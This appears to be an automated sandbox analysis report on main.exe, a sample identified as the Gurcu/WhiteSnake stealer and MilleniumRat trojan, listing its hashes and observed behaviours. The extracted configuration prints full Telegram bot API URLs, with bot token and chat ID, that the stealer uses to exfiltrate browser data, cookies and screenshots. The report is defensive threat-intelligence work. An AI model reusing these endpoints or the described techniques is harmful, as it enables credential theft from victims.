General

  • Target

    main.exe

  • Size

    35.6MB

  • Sample

    240702-bmssts1dnh

  • MD5

    3f5f920c18e9a0b362a4ad86903838f1

  • SHA1

    1512fc4ff983d9f2f48989188fe43e9e75440eec

  • SHA256

    93341fb506d134736812210a468ee360682c0b11290587cbc61245783ba490e3

  • SHA512

    329dc1bb4a80e837f14509ffa22433618f92597745198e63a3324efc5453e3394ddaf570efdeac1884770bdd823aee2b7db82696b0d71947f0026ea8f334c570

  • SSDEEP

    786432:6hAvPDwOuwAX1antZxcKCI7z20ZuTIMt5JmiCNqKN+:6h4PDwgkYtZWKCInLZuzt5ozNqK

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Targets

    • Target

      main.exe

    • Size

      35.6MB

    • MD5

      3f5f920c18e9a0b362a4ad86903838f1

    • SHA1

      1512fc4ff983d9f2f48989188fe43e9e75440eec

    • SHA256

      93341fb506d134736812210a468ee360682c0b11290587cbc61245783ba490e3

    • SHA512

      329dc1bb4a80e837f14509ffa22433618f92597745198e63a3324efc5453e3394ddaf570efdeac1884770bdd823aee2b7db82696b0d71947f0026ea8f334c570

    • SSDEEP

      786432:6hAvPDwOuwAX1antZxcKCI7z20ZuTIMt5JmiCNqKN+:6h4PDwgkYtZWKCInLZuzt5ozNqK

    • Gurcu, WhiteSnake

      Gurcu is a malware stealer written in C#.

    • MilleniumRat

      MilleniumRat is a remote access trojan written in C#.

    • Suspicious use of NtCreateUserProcessOtherParentProcess

    • Command and Scripting Interpreter: PowerShell

      Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    • Contacts a large (1224) amount of remote hosts

      This may indicate a network scan to discover remotely running services.

    • Stops running service(s)

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Loads dropped DLL

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • UPX packed file

      Detects executables packed with UPX/modified UPX open source packer.

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Legitimate hosting services abused for malware hosting/C2

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • Drops file in System32 directory

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks